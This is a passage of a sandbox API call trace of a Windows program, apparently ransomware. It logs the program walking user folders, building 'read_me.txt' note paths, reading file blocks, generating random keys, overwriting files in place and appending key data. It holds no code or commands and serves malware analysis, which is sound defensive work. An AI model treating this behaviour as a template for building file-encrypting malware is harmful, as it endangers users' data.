pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\..") returned 42 [0078.764] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0078.764] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini") returned 51 [0078.764] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918 [0078.769] QueueUserWorkItem (Function=0x404e00, Context=0x91c, Flags=0x0) returned 1 [0078.769] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0078.769] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk") returned 53 [0078.769] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\downloads.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x920 [0078.769] QueueUserWorkItem (Function=0x404e00, Context=0x920, Flags=0x0) returned 1 [0078.769] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1acef810, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1acef810, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1acef810, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.769] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\read_me.txt") returned 51 [0078.769] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x924 [0078.771] QueueUserWorkItem (Function=0x404e00, Context=0x928, Flags=0x0) returned 1 [0078.771] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="recentplaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0078.771] FindClose (in: hFindFile=0x32fc288 | out: hFindFile=0x32fc288) returned 1 [0078.771] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\read_me.txt") returned 51 [0078.771] GetProcessHeap () returned 0x540000 [0078.771] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0078.771] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 60 [0078.771] GetProcessHeap () returned 0x540000 [0078.771] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42f2130 | out: hHeap=0x540000) returned 1 [0078.775] GetProcessHeap () returned 0x540000 [0078.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4292100 [0078.775] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*") returned 50 [0078.775] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="recentplaces.lnk", cAlternateFileName="")) returned 0xffffffff [0078.776] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\read_me.txt") returned 60 [0078.776] GetProcessHeap () returned 0x540000 [0078.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4292100 | out: hHeap=0x540000) returned 1 [0078.776] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 61 [0078.776] GetProcessHeap () returned 0x540000 [0078.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4340048 | out: hHeap=0x540000) returned 1 [0078.873] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.873] ReadFile (in: hFile=0x7bc, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0078.873] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.873] GetProcessHeap () returned 0x540000 [0078.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0078.874] GetProcessHeap () returned 0x540000 [0078.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0078.874] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0078.874] GetProcessHeap () returned 0x540000 [0078.874] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x44b1108 [0078.874] ReadFile (in: hFile=0x7bc, lpBuffer=0x44b1108, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x44b1108*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0078.940] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.940] WriteFile (in: hFile=0x7bc, lpBuffer=0x44b1108*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x44b1108*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0078.940] GetProcessHeap () returned 0x540000 [0078.940] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0078.940] GetProcessHeap () returned 0x540000 [0078.940] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0078.940] GetProcessHeap () returned 0x540000 [0078.940] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0078.940] GetProcessHeap () returned 0x540000 [0078.940] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0078.940] GetProcessHeap () returned 0x540000 [0078.940] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0078.940] GetProcessHeap () returned 0x540000 [0078.940] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0078.940] GetProcessHeap () returned 0x540000 [0078.940] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.940] GetProcessHeap () returned 0x540000 [0078.940] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.940] GetProcessHeap () returned 0x540000 [0078.940] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.940] GetProcessHeap () returned 0x540000 [0078.941] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.941] GetProcessHeap () returned 0x540000 [0078.941] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.941] GetProcessHeap () returned 0x540000 [0078.941] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.941] GetProcessHeap () returned 0x540000 [0078.941] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.941] GetProcessHeap () returned 0x540000 [0078.941] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.941] GetProcessHeap () returned 0x540000 [0078.941] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.941] GetProcessHeap () returned 0x540000 [0078.941] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.941] GetProcessHeap () returned 0x540000 [0078.941] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.941] GetProcessHeap () returned 0x540000 [0078.941] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.941] GetProcessHeap () returned 0x540000 [0078.941] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.941] GetProcessHeap () returned 0x540000 [0078.941] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.941] GetProcessHeap () returned 0x540000 [0078.941] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.941] GetProcessHeap () returned 0x540000 [0078.941] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.941] GetProcessHeap () returned 0x540000 [0078.941] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.941] GetProcessHeap () returned 0x540000 [0078.941] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.941] GetProcessHeap () returned 0x540000 [0078.941] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.941] GetProcessHeap () returned 0x540000 [0078.941] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.941] GetProcessHeap () returned 0x540000 [0078.941] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.941] GetProcessHeap () returned 0x540000 [0078.941] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.941] GetProcessHeap () returned 0x540000 [0078.942] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.942] GetProcessHeap () returned 0x540000 [0078.942] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.942] GetProcessHeap () returned 0x540000 [0078.942] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.942] GetProcessHeap () returned 0x540000 [0078.942] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.942] GetProcessHeap () returned 0x540000 [0078.942] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.942] GetProcessHeap () returned 0x540000 [0078.942] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.942] GetProcessHeap () returned 0x540000 [0078.942] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.942] GetProcessHeap () returned 0x540000 [0078.942] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.942] GetProcessHeap () returned 0x540000 [0078.942] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.942] GetProcessHeap () returned 0x540000 [0078.942] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.942] GetProcessHeap () returned 0x540000 [0078.942] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0078.942] GetProcessHeap () returned 0x540000 [0078.942] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.942] GetProcessHeap () returned 0x540000 [0078.942] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0078.942] GetProcessHeap () returned 0x540000 [0078.942] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0078.942] GetProcessHeap () returned 0x540000 [0078.942] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0078.942] GetProcessHeap () returned 0x540000 [0078.942] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0078.942] GetProcessHeap () returned 0x540000 [0078.942] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0078.942] GetProcessHeap () returned 0x540000 [0078.942] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0078.942] GetProcessHeap () returned 0x540000 [0078.942] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.942] GetProcessHeap () returned 0x540000 [0078.943] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0078.943] GetProcessHeap () returned 0x540000 [0078.943] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.943] GetProcessHeap () returned 0x540000 [0078.943] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.943] GetProcessHeap () returned 0x540000 [0078.943] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.943] GetProcessHeap () returned 0x540000 [0078.943] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.943] GetProcessHeap () returned 0x540000 [0078.943] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.943] GetProcessHeap () returned 0x540000 [0078.943] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.943] GetProcessHeap () returned 0x540000 [0078.943] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.943] GetProcessHeap () returned 0x540000 [0078.943] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.943] GetProcessHeap () returned 0x540000 [0078.943] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.943] GetProcessHeap () returned 0x540000 [0078.943] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.943] GetProcessHeap () returned 0x540000 [0078.943] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.943] GetProcessHeap () returned 0x540000 [0078.943] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.943] GetProcessHeap () returned 0x540000 [0078.943] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.943] GetProcessHeap () returned 0x540000 [0078.943] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.944] GetProcessHeap () returned 0x540000 [0078.944] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.944] GetProcessHeap () returned 0x540000 [0078.944] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.944] GetProcessHeap () returned 0x540000 [0078.944] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.944] GetProcessHeap () returned 0x540000 [0078.944] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.944] GetProcessHeap () returned 0x540000 [0078.944] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.944] GetProcessHeap () returned 0x540000 [0078.944] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.944] GetProcessHeap () returned 0x540000 [0078.944] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.944] GetProcessHeap () returned 0x540000 [0078.944] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.944] GetProcessHeap () returned 0x540000 [0078.944] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.944] GetProcessHeap () returned 0x540000 [0078.944] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.944] GetProcessHeap () returned 0x540000 [0078.944] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0078.944] GetProcessHeap () returned 0x540000 [0078.944] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.944] GetProcessHeap () returned 0x540000 [0078.944] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0078.944] GetProcessHeap () returned 0x540000 [0078.944] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0078.944] GetProcessHeap () returned 0x540000 [0078.944] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.945] GetProcessHeap () returned 0x540000 [0078.945] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0078.945] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.945] WriteFile (in: hFile=0x7bc, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0078.945] WriteFile (in: hFile=0x7bc, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0078.945] GetProcessHeap () returned 0x540000 [0078.945] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44b1108 | out: hHeap=0x540000) returned 1 [0078.945] GetProcessHeap () returned 0x540000 [0078.945] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0078.945] GetProcessHeap () returned 0x540000 [0078.945] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0078.945] CloseHandle (hObject=0x7bc) returned 1 [0078.946] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 7 [0078.946] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.946] ReadFile (in: hFile=0x7b8, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0078.946] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.946] GetProcessHeap () returned 0x540000 [0078.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0078.947] GetProcessHeap () returned 0x540000 [0078.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0078.947] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0078.947] GetProcessHeap () returned 0x540000 [0078.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0078.947] ReadFile (in: hFile=0x7b8, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x493, lpOverlapped=0x0) returned 1 [0078.962] SetFilePointerEx (in: hFile=0x7b8, liDistanceToMove=0xfffffb6d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.962] WriteFile (in: hFile=0x7b8, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x493, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x493, lpOverlapped=0x0) returned 1 [0078.962] GetProcessHeap () returned 0x540000 [0078.962] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0078.962] GetProcessHeap () returned 0x540000 [0078.962] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0078.962] GetProcessHeap () returned 0x540000 [0078.962] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0078.962] GetProcessHeap () returned 0x540000 [0078.962] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0078.962] GetProcessHeap () returned 0x540000 [0078.962] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0078.962] GetProcessHeap () returned 0x540000 [0078.962] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0078.962] GetProcessHeap () returned 0x540000 [0078.962] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.962] GetProcessHeap () returned 0x540000 [0078.962] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.962] GetProcessHeap () returned 0x540000 [0078.962] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.962] GetProcessHeap () returned 0x540000 [0078.962] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.962] GetProcessHeap () returned 0x540000 [0078.962] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.962] GetProcessHeap () returned 0x540000 [0078.962] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.962] GetProcessHeap () returned 0x540000 [0078.962] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.963] GetProcessHeap () returned 0x540000 [0078.963] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.963] GetProcessHeap () returned 0x540000 [0078.963] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.963] GetProcessHeap () returned 0x540000 [0078.963] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.963] GetProcessHeap () returned 0x540000 [0078.963] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.963] GetProcessHeap () returned 0x540000 [0078.963] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.963] GetProcessHeap () returned 0x540000 [0078.963] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.963] GetProcessHeap () returned 0x540000 [0078.963] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.963] GetProcessHeap () returned 0x540000 [0078.963] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.963] GetProcessHeap () returned 0x540000 [0078.963] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.963] GetProcessHeap () returned 0x540000 [0078.963] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.963] GetProcessHeap () returned 0x540000 [0078.963] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.963] GetProcessHeap () returned 0x540000 [0078.963] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.963] GetProcessHeap () returned 0x540000 